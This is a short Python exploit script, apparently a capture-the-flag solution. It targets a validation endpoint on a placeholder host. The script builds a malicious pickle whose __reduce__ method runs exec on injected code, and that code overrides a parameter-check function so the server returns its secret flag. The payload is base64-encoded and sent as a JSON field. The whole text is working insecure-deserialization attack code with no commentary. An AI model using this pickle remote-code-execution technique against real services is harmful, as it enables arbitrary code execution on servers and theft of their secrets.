import base64, pickle, requests

code = (
    "import importlib\n"
    "c = importlib.import_module('crypto.cipher')\n"
    "def hacked(self):\n"
    "    from crypto.secret import FLAG\n"
    "    return (True, FLAG)\n"
    "c.CheckParameters.check_params = hacked\n"
)

class Evil:
    def __reduce__(self):
        return (exec, (code,))  

payload = base64.b64encode(pickle.dumps(Evil())).decode()

data = {
    "ct_string": "00"*16,
    "primes": payload
}

url = "http://<IP>:4001/validate_custom"
r = requests.post(url, json=data, timeout=10)
print(r.status_code, r.text)